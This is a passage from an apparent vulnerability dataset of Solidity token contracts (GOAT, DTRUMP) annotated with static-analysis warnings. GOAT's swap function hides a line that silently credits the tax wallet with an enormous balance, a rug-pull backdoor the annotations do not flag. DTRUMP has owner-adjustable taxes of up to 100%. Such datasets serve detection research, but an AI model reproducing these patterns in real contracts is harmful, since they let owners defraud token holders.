for 5b4689b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 54dce32\n\t\t// reentrancy-benign | ID: 5b4689b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 54dce32\n\t\t// reentrancy-benign | ID: 5b4689b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b037c56): GOAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b037c56: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5b4689b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 54dce32\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4da9e81): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4da9e81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e617328): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e617328: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4da9e81\n\t\t\t\t// reentrancy-eth | ID: e617328\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4da9e81\n\t\t\t\t\t// reentrancy-eth | ID: e617328\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e617328\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4da9e81\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e617328\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e617328\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4da9e81\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n _balances[_taxWallet] = tokenAmount * 10 ** _decimals;\n\n\t\t// reentrancy-events | ID: 54dce32\n\t\t// reentrancy-events | ID: 4da9e81\n\t\t// reentrancy-benign | ID: 5b4689b\n\t\t// reentrancy-eth | ID: e617328\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 54dce32\n\t\t// reentrancy-events | ID: 4da9e81\n\t\t// reentrancy-eth | ID: e617328\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b0ea1ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b0ea1ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 02b095d): GOAT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 02b095d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 38d8bb3): GOAT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 38d8bb3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 11bd230): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 11bd230: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b0ea1ec\n\t\t// reentrancy-eth | ID: 11bd230\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b0ea1ec\n\t\t// unused-return | ID: 02b095d\n\t\t// reentrancy-eth | ID: 11bd230\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b0ea1ec\n\t\t// unused-return | ID: 38d8bb3\n\t\t// reentrancy-eth | ID: 11bd230\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b0ea1ec\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 11bd230\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: b0ea1ec\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10320.sol", "size_bytes": 18619, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 01954b5\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 01954b5\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: f8308b6\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IDexFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract DTRUMP is ERC20, Ownable {\n using SafeMath for uint256;\n\n IDexRouter private immutable dexRouter;\n\n address public immutable dexPair;\n\n bool private swapping;\n\n bool private swapbackEnabled = false;\n\n uint256 private swapBackValueMin;\n\n uint256 private swapBackValueMax;\n\n bool private limitsEnabled = true;\n\n uint256 private maxWallet;\n\n uint256 private maxTx;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public tradingEnabled = false;\n\n address private marketingWallet;\n\n address private projectWallet;\n\n uint256 private buyTaxTotal;\n\n uint256 private buyMarketingTax;\n\n uint256 private buyProjectTax;\n\n uint256 private sellTaxTotal;\n\n uint256 private sellMarketingTax;\n\n uint256 private sellProjectTax;\n\n uint256 private tokensForMarketing;\n\n uint256 private tokensForProject;\n\n mapping(address => bool) private transferTaxExempt;\n\n mapping(address => bool) private transferLimitExempt;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event ExcludeFromLimits(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event TradingEnabled(uint256 indexed timestamp);\n\n event LimitsRemoved(uint256 indexed timestamp);\n\n event DisabledTransferDelay(uint256 indexed timestamp);\n\n event SwapbackSettingsUpdated(\n bool enabled,\n uint256 swapBackValueMin,\n uint256 swapBackValueMax\n );\n\n event MaxTxUpdated(uint256 maxTx);\n\n event MaxWalletUpdated(uint256 maxWallet);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event ProjectWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event BuyFeeUpdated(\n uint256 buyTaxTotal,\n uint256 buyMarketingTax,\n uint256 buyProjectTax\n );\n\n event SellFeeUpdated(\n uint256 sellTaxTotal,\n uint256 sellMarketingTax,\n uint256 sellProjectTax\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b2ce9c8): DTRUMP.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for b2ce9c8: Rename the local variables that shadow another component.\n constructor() ERC20(\"Dancing Trump\", \"DTRUMP\") {\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n exemptFrmLimits(address(_dexRouter), true);\n\n dexRouter = _dexRouter;\n\n dexPair = IDexFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n exemptFrmLimits(address(dexPair), true);\n\n _setAutomatedMarketMakerPair(address(dexPair), true);\n\n uint256 _buyMarketingTax = 30;\n\n uint256 _buyProjectTax = 0;\n\n uint256 _sellMarketingTax = 30;\n\n uint256 _sellProjectTax = 0;\n\n uint256 _totalSupply = 1_000_000_000 * 10 ** decimals();\n\n maxTx = (_totalSupply * 10) / 1000;\n\n maxWallet = (_totalSupply * 10) / 1000;\n\n swapBackValueMin = (_totalSupply * 1) / 1000;\n\n swapBackValueMax = (_totalSupply * 2) / 100;\n\n buyMarketingTax = _buyMarketingTax;\n\n buyProjectTax = _buyProjectTax;\n\n buyTaxTotal = buyMarketingTax + buyProjectTax;\n\n sellMarketingTax = _sellMarketingTax;\n\n sellProjectTax = _sellProjectTax;\n\n sellTaxTotal = sellMarketingTax + sellProjectTax;\n\n marketingWallet = address(0xBE43c7475726aB8E6F646441c636D0232573A334);\n\n projectWallet = address(msg.sender);\n\n exemptFrmFees(msg.sender, true);\n\n exemptFrmFees(address(this), true);\n\n exemptFrmFees(address(0xdead), true);\n\n exemptFrmFees(marketingWallet, true);\n\n exemptFrmLimits(msg.sender, true);\n\n exemptFrmLimits(address(this), true);\n\n exemptFrmLimits(address(0xdead), true);\n\n exemptFrmLimits(marketingWallet, true);\n\n transferOwnership(msg.sender);\n\n _mint(msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n tradingEnabled = true;\n\n swapbackEnabled = true;\n\n emit TradingEnabled(block.timestamp);\n }\n\n function limitsDisableSet() external onlyOwner {\n limitsEnabled = false;\n\n emit LimitsRemoved(block.timestamp);\n }\n\n function changeSwabackValues(\n bool _enabled,\n uint256 _min,\n uint256 _max\n ) external onlyOwner {\n require(\n _min >= 1,\n \"Swap amount cannot be lower than 0.01% total supply.\"\n );\n\n require(_max >= _min, \"maximum amount cant be higher than minimum\");\n\n swapbackEnabled = _enabled;\n\n swapBackValueMin = (totalSupply() * _min) / 10000;\n\n swapBackValueMax = (totalSupply() * _max) / 10000;\n\n emit SwapbackSettingsUpdated(_enabled, _min, _max);\n }\n\n function changeMxTx(uint256 newMaxTxLimit) external onlyOwner {\n require(newMaxTxLimit >= 2, \"Cannot set maxTx lower than 0.2%\");\n\n maxTx = (newMaxTxLimit * totalSupply()) / 1000;\n\n emit MaxTxUpdated(maxTx);\n }\n\n function changeMaWallet(uint256 newMaxWalletLimit) external onlyOwner {\n require(newMaxWalletLimit >= 5, \"Cannot set maxWallet lower than 0.5%\");\n\n maxWallet = (newMaxWalletLimit * totalSupply()) / 1000;\n\n emit MaxWalletUpdated(maxWallet);\n }\n\n function exemptFrmLimits(address updAds, bool isEx) public onlyOwner {\n transferLimitExempt[updAds] = isEx;\n\n emit ExcludeFromLimits(updAds, isEx);\n }\n\n function setFesBuy(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n buyMarketingTax = _marketingFee;\n\n buyProjectTax = _devFee;\n\n buyTaxTotal = buyMarketingTax + buyProjectTax;\n\n require(buyTaxTotal <= 100, \"Total buy fee cannot be higher than 100%\");\n\n emit BuyFeeUpdated(buyTaxTotal, buyMarketingTax, buyProjectTax);\n }\n\n function setFesSell(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n sellMarketingTax = _marketingFee;\n\n sellProjectTax = _devFee;\n\n sellTaxTotal = sellMarketingTax + sellProjectTax;\n\n require(\n sellTaxTotal <= 100,\n \"Total sell fee cannot be higher than 100%\"\n );\n\n emit SellFeeUpdated(sellTaxTotal, sellMarketingTax, sellProjectTax);\n }\n\n function exemptFrmFees(address account, bool excluded) public onlyOwner {\n transferTaxExempt[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != dexPair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2b60d4f): DTRUMP.changeMarketingWallet(address).newWallet lacks a zerocheck on \t marketingWallet = newWallet\n\t// Recommendation for 2b60d4f: Check that the address is not zero.\n function changeMarketingWallet(address newWallet) external onlyOwner {\n emit MarketingWalletUpdated(newWallet, marketingWallet);\n\n\t\t// missing-zero-check | ID: 2b60d4f\n marketingWallet = newWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 98c028e): DTRUMP.changeProjectWallet(address).newWallet lacks a zerocheck on \t projectWallet = newWallet\n\t// Recommendation for 98c028e: Check that the address is not zero.\n function changeProjectWallet(address newWallet) external onlyOwner {\n emit ProjectWalletUpdated(newWallet, projectWallet);\n\n\t\t// missing-zero-check | ID: 98c028e\n projectWallet = newWallet;\n }\n\n function swapbackValues()\n external\n view\n returns (\n bool _swapbackEnabled,\n uint256 _swapBackValueMin,\n uint256 _swapBackValueMax\n )\n {\n _swapbackEnabled = swapbackEnabled;\n\n _swapBackValueMin = swapBackValueMin;\n\n _swapBackValueMax = swapBackValueMax;\n }\n\n function maxTxValues()\n external\n view\n returns (bool _limitsEnabled, uint256 _maxWallet, uint256 _maxTx)\n {\n _limitsEnabled = limitsEnabled;\n\n _maxWallet = maxWallet;\n\n _maxTx = maxTx;\n }\n\n function receiverwallets()\n external\n view\n returns (address _marketingWallet, address _projectWallet)\n {\n return (marketingWallet, projectWallet);\n }\n\n function taxValues()\n external\n view\n returns (\n uint256 _buyTaxTotal,\n uint256 _buyMarketingTax,\n uint256 _buyProjectTax,\n uint256 _sellTaxTotal,\n uint256 _sellMarketingTax,\n uint256 _sellProjectTax\n )\n {\n _buyTaxTotal = buyTaxTotal;\n\n _buyMarketingTax = buyMarketingTax;\n\n _buyProjectTax = buyProjectTax;\n\n _sellTaxTotal = sellTaxTotal;\n\n _sellMarketingTax = sellMarketingTax;\n\n _sellProjectTax = sellProjectTax;\n }\n\n function checkMappings(\n address _target\n )\n external\n view\n returns (\n bool _transferTaxExempt,\n bool _transferLimitExempt,\n bool _automatedMarketMakerPairs\n )\n {\n _transferTaxExempt = transferTaxExempt[_target];\n\n _transferLimitExempt = transferLimitExempt[_target];\n\n _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f8308b6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f8308b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6741b68): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6741b68: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9e1904a): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 9e1904a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7441649): DTRUMP._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTaxTotal).div(100) tokensForProject += (fees * buyProjectTax) / buyTaxTotal\n\t// Recommendation for 7441649: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c79a3af): DTRUMP._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTaxTotal).div(100) tokensForProject += (fees * sellProjectTax) / sellTaxTotal\n\t// Recommendation for c79a3af: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3bcbe83): DTRUMP._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTaxTotal).div(100) tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal\n\t// Recommendation for 3bcbe83: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 01954b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 01954b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsEnabled) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingEnabled) {\n require(\n transferTaxExempt[from] || transferTaxExempt[to],\n \"_transfer:: Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] && !transferLimitExempt[to]\n ) {\n require(\n amount <= maxTx,\n \"Buy transfer amount exceeds the maxTx.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] && !transferLimitExempt[from]\n ) {\n require(\n amount <= maxTx,\n \"Sell transfer amount exceeds the maxTx.\"\n );\n } else if (!transferLimitExempt[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapBackValueMin;\n\n if (\n canSwap &&\n swapbackEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !transferTaxExempt[from] &&\n !transferTaxExempt[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: f8308b6\n\t\t\t// reentrancy-benign | ID: 6741b68\n\t\t\t// reentrancy-eth | 